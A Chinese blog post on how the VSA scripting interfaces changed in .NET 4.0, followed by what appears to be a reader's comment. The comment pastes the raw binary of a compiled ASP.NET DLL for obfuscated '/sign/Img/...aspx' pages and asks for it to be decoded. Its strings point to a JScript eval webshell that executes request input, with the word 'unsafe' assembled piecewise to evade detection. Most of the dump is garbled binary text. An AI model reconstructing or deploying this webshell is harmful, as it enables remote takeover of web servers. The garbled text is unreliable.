.NET 4.0下的VSA...

VSA在.NET 4.0的变化

最近设计的架构基础框架基本编码完毕,DBAL和DAL基本实现了自动化,实体层的代码生成器我选用JS快速堆了一个也已经达到

了90%左右的完成度.于是我决定开始弄脚本引擎了...

 

.net嘛.考虑到开发速度和运行速度当然VSA是首选(虽然我自己有自己以前封装的一套ActiveScriptHost库,不过和VSA在执行

效率上一比直接被我54了).于是用VS2010(头儿在与时俱进这块做得不错.加上我再使劲的布道传教F#啦~C#的新dynamic

特性拉甚至是我自己目前都不甚了解的FP编程思想啦...之类的东东,所以下版就已经敲定用.net4.0了)新建了个ScriptEngine

工程,大概的定了个接口,开始弄JS的封装.

 

就在我习惯性的敲上using Microsoft.的时候,发现那亲切的Vsa并没有出现在自动的下拉列表内.联想到.net2.0起VSA就被标

记为过时...囧.M$还真TM对VSA下手了?不过在导入Microsoft.JScript后仍能看到Microsoft.JScript.Vsa的存在,但是原来处于

Microsoft.Vsa下的一堆接口全改成了IJSVsa*被放到了Microsoft.JScript.Vsa命名空间下,上MSDN翻了翻,这几个接口其实就

是原Microsoft.Vsa照搬过来的.联想到以前反编译JS.NET生成的代码可以看出其自身的运行机制也是依赖于VSA的,VSA估计就

是这个原因被M$在JS里保留了下来.不过VB貌似就没有那么多顾虑了,Microsoft.VisualBasic.Vsa被直接从.net4.0里移除了.

这也就意味着以前实现个简单的IVsaSite就能随意切换VB/JS引擎的日子一去不复返了...

 

嘛...虽然很早就听说MS建议用动态代码编译代替VSA引擎,但是这玩意毕竟实现起来超麻烦(早在.net 1.1时代自己就用Managed

C++做了个C#的引擎,不难,但巨烦无比),所以学了VSA后VSA一直是俺的最爱.在保有.net编译型语言的执行效率的同时又可以像

Windows ActiveScript Engine随意在VB 和JS 间切换,而所有要做的工作只是写一个实现IVsaSite的类...

 

算了.反正我都弄了个通用的IScriptEngine以求兼容JS/F# & etc了.先用JSVSA弄个JS的封装,反正VB我不常用.至于其它的...原

VSA本身就只支持JS/VB,到头来还是要自己写,貌似影响也不太大.只求M$别哪天把JS也给删了.

MZ?  ? @ € ? ???L?This program cannot be run in DOS mode.$ PE L 佾薶 ? ! 0 嶰 ` @ ? @? 4O W ` € 鐽 H .text ? 0 `.rsrc ` 2 @ @.reloc € 6 @ B pO H h, €"  0   o ( t  8 *0 8 * 0  o ( t  8 *0  * 0  * 0 T ( ( ri p( ~ @! ?  ri p?( € € ( €蒙( *0 o ? s ( * 0 ? %r? p? s ?r? p? s ?r? p? s ?r? p? s ?o ( ? r? pr p? ? %rG p? s ?rQ p? s ?r] p? s ?rg p? s ?r? po ( (s (s (s (s ( r" p( l ' ? ( o ( t { %??? ? o ( t$ o o ( o ( o ( t { %歵 ? %歵 ? %?( &(! (! (! (! &o ( t { %??? ?? ? o (" &?A ^ ? ? 0 $ r? p r pr p ( 8 *0 $ (# ( ~ ($ ( (% *0 8 * 0 (& *0 { 3? (' } { *0 } *0   o ( t  8 *0 8 * 0  o ( t  8 *0  * 0  * 0 T ( ( r. p( ~ @! ?  r. p?( € € ( €蒙( *0 o ? s ( * 0 ? %r? p? s ?r? p? s ?r? p? s ?r? p? s ?o ( ? r? prt p? ? %rG p? s ?rQ p? s ?r] p? s ?rg p? s ?r? po ( (s (s (s (s ( r" p( l ' ? ( o ( t { %??? ? o ( t$ o o ( o ( o ( t { %歵 ? %歵 ? %?( &(! (! (! (! &o ( t { %??? ?? ? o (" &?A ^ ? ? 0 $ r? p r pr p ( 8 *0 $ (# ( ~ ($ ( (% *0 8 * 0 (& *0 { 3? (' } { *0 } *0  * 0 s %? (' o( 8 * 0 s %? (' o( 8 * 0  * 0 () (& * 0 { 3? (' } { *0 } *0 %{ ( * 0 R r p{ ( r+ p{ ( ri p{ ( r p{ ( r? p{ ( r? p{ ( r# p{ ( rQ p{ ( r? p{ ( r? p{ ( r? p{ ( r? p{ ( r p{ ( r/ p{ ( rG p{ ( r} p{ ( r? p{ ( r? p{ ( r? p{ ( r p{ ( ra p{ ( * 0 %{ ( * 0 R r p{ ( r+ p{ ( ri p{ ( r p{ ( r? p{ ( r? p{ ( r# p{ ( rQ p{ ( r? p{ ( r? p{ ( r? p{ ( r? p{ ( r p{ ( r/ p{ ( rG p{ ( r} p{ ( r? p{ ( r? p{ ( r? p{ ( r p{ ( ra p{ ( * 0 %{ ( * 0 r? p{ ( * BSJB  v4.0.30319 l ? #~ ` ? #Strings 4 ? #US ? #GUID € #Blob W? ?3  , ) . 5  ? ? ? ?  &? 3= S? Z? b? n? ?? ?? ?? ?5 ? ? *? 1? C? O? [? k? z? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? ? $? 0? 6? F? X? ]? e y? ?? ?? ?? ?        5 )   9 5 )  Z  d ! n ? u # =] K` ? ?c =] K` ? ?c ? ?c 4) %  P) +  P ?7  t ?C"  ? ?Y&  ? q+  ?  x/  ? %/  0! ? ~3  X! ? ?9 ? ?A ? ? ?/ ? ? H $ ? L $ A )R D$ A 3W X$ ?7 |$ ?C" ? ?Y& ? q+ ?  x/ ? %/ 8% ? ~u `% ? ?9 ? ?A ? ? ?/ ? ? H ( ? L ( A )R L( A 3W ? % ? + ,, % H, + `( q+ p( ?{ ? ?{ ?  x/ ? %/ ? A )R ) A 3W  ?  ? ?  ? ?  !  ?  ? ?  ? ?  ! ! % ! % %/  c % ) ? 1 ? i %/ Q %/ q &? Q A? Q \? ? g? Q y? ? 7? ? Y? Q ?/ ? %? ? %? ? ?? ? %? 9 )R ? ?? y ?? ? ?? %? Q ?? ?? ?? ! ? !'  )< 1L U ! c Q ?/ Q s  ?/ Q L ! ?$9 3W ? %/ 9%+A%1I%7Y%? a%? . s?. s#. S?. [?. c?. k?. s?. sE. s?. sM. s?. s. sk. s?. s. sf. s?. s(. sw. s?. sD . s?. s?. s:. s?. s?. sY . s?. s . sX . s?. s . sb. s?C }c }? }? }? } 3 } 3 }@? ?`? ?€3 }?3 }?3 }?3 }?3 } ? ? ? ?@3 }`3 }€3 }>CGLOUY\` nuy  ^g fl xp ^g fl xp ) Q : ) < Q P ) R Q € ?  ? ?  ? ? ? <Module> JScript 0 sign_img_202509080317086930_aspx ASP sign_img_202509180247002980_aspx JScript 1 JScript 2 FastObjectFactory_app_web_jejbhpgl __ASP Microsoft.JScript mscorlib System.Web App_global.asax.c-xopvmi System GlobalScope CompilerGlobalScopeAttribute System.Runtime.CompilerServices ScriptObject VsaEngine Microsoft.JScript.Vsa Import Package INeedEngine IRequiresSessionState System.Web.SessionState IHttpHandler Page System.Web.UI DefaultProfile System.Web.Profile global_asax DebuggerNonUserCodeAttribute System.Diagnostics TemplateControl String HttpServerUtility HttpContext ProfileBase HttpApplication HtmlTextWriter Control JSFunctionAttribute JSFunctionAttributeEnum RenderMethod ScriptFunction JSLocalField RuntimeTypeHandle StackFrame Object FunctionDeclaration Closure NumericUnary HttpRequest Int32 StringPrototype IActivationObject Eval Convert DebuggableAttribute GeneratedCodeAttribute System.CodeDom.Compiler SecurityRulesAttribute System.Security SecurityRuleSet TargetFrameworkAttribute System.Runtime.Versioning ReferenceAttribute .ctor Global Code get_Profile get_SupportAutoEvents get_ApplicationInstance .cctor .init __BuildControlTree __ctrl __Render__control1 __w parameterContainer __Render__control1.EHI7Koop this vsa Engine FrameworkInitialize GetTypeHashCode ProcessRequest context GetEngine SetEngine __initialized __fileDependencies Profile SupportAutoEvents ApplicationInstance __Render__control1.EHI7Koop:1 Create_ASP_sign_img_202509080317086930_aspx Create_ASP_sign_img_202509180247002980_aspx engine JScriptImport JScriptPackage set_AppRelativeVirtualPath GetWrappedFileDependencies get_Server set_ScriptTimeout get_Context InitializeCulture SetRenderMethodDelegate PushStackFrameForMethod Concat JScriptFunctionDeclaration get_Request get_Item substring ScriptObjectStackTop localVars GetDefaultThisObject JScriptEvaluate ToString EvaluateUnary PopScriptObject AddWrappedFileDependencies ValidateInput CreateEngineWithType App_Web_jejbhpgl JScript Module )S y s t e m . C o n f i g u r a t i o n =S y s t e m . T e x t . R e g u l a r E x p r e s s i o n s S y s t e m . W e b 'S y s t e m . W e b . S e c u r i t y ES y s t e m . W e b . U I . W e b C o n t r o l s . W e b P a r t s 5S y s t e m . C o l l e c t i o n s . G e n e r i c -S y s t e m . W e b . D y n a m i c D a t a =S y s t e m . C o l l e c t i o n s . S p e c i a l i z e d S y s t e m . X m l . L i n q %S y s t e m . C o l l e c t i o n s S y s t e m . L i n q S y s t e m . W e b . U I %S y s t e m . W e b . P r o f i l e S y s t e m . T e x t 5S y s t e m . W e b . U I . H t m l C o n t r o l s %S y s t e m . W e b . C a c h i n g S y s t e m 3S y s t e m . W e b . U I . W e b C o n t r o l s /S y s t e m . W e b . S e s s i o n S t a t e KS y s t e m . C o m p o n e n t M o d e l . D a t a A n n o t a t i o n s A S P E~ / s i g n / I m g / 2 0 2 5 0 9 0 8 0 3 1 7 0 8 6 9 3 0 . a s p x _ _ w %p a r a m e t e r C o n t a i n e r E H I 7 K o o p F i V e T Z u a f e n s 7_ _ R e n d e r _ _ c o n t r o l 1 . E H I 7 K o o p G E P H A F 7 I z C J 1 6 r e t u r n v a l u e €焒 u n c t i o n E H I 7 K o o p ( ) { v a r G E P H = " u " , A F 7 I z = " a f e " , C J 1 6 = G E P H + " n s " + A F 7 I z ; r e t u r n C J 1 6 ; } h e l l o E~ / s i g n / I m g / 2 0 2 5 0 9 1 8 0 2 4 7 0 0 2 9 8 0 . a s p x ;_ _ R e n d e r _ _ c o n t r o l 1 . E H I 7 K o o p : 1 _ _ A S P 咻?7(B暩\鉘 ? ?_?:穤\V4鄩  - 1    QU E  - 1      A  E I M ]  a m i }mi €?    m   €? -  1 e e€?€?€?€?     &    ASP.NET4.0.30319.42000   .NETFramework,Version=v4.8 f aSystem.Web.ApplicationServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 _ ZSystem.WorkflowServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 R MSystem.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 T OApp_global.asax.c-xopvmi, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null \ WSystem.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 f aSystem.ServiceModel.Activation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 Y TSystem.Activities, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 P Kmscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 R MSystem.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a V QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a a \System.EnterpriseServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a _ ZSystem.ServiceModel.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 N ISystem, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 f aSystem.ServiceModel.Activities, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 e `System.Data.DataSetExtensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 M HApp_Code.m6whmsnp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null ^ YSystem.Web.DynamicData, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 H CSKControlDll, Version=5.0.1.0, Culture=neutral, PublicKeyToken=null \ WSystem.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a S NSystem.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 m hSystem.ComponentModel.DataAnnotations, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 X SMicrosoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a L GWebRegisterPDARF, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null X SNewtonsoft.Json, Version=10.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed ] XSystem.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 S NSystem.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 W RSystem.Xml.Linq, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 [ VSystem.Web.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a d _System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 [ VSystem.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 佾薶 - 1 RSDSv頺€鵈I戩U躃 uL App_Web_jejbhpgl.pdb \O ~O pO _CorDllMain mscoree.dll % @   €   0 €  H X` ? ?4 V S _ V E R S I O N _ I N F O ?稔  ? D  V a r F i l e I n f o $ T r a n s l a t i o n  ?  S t r i n g F i l e I n f o ?  0 0 7 f 0 4 b 0  C o m m e n t s $  C o m p a n y N a m e ,  F i l e D e s c r i p t i o n 0  F i l e V e r s i o n 0 . 0 . 0 . 0 L  I n t e r n a l N a m e A p p _ W e b _ j e j b h p g l . d l l (  L e g a l C o p y r i g h t ,  L e g a l T r a d e m a r k s T  O r i g i n a l F i l e n a m e A p p _ W e b _ j e j b h p g l . d l l $  P r o d u c t N a m e (  P r o d u c t V e r s i o n @ ? 解码并排序好这段代码
最新发布
09-19
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值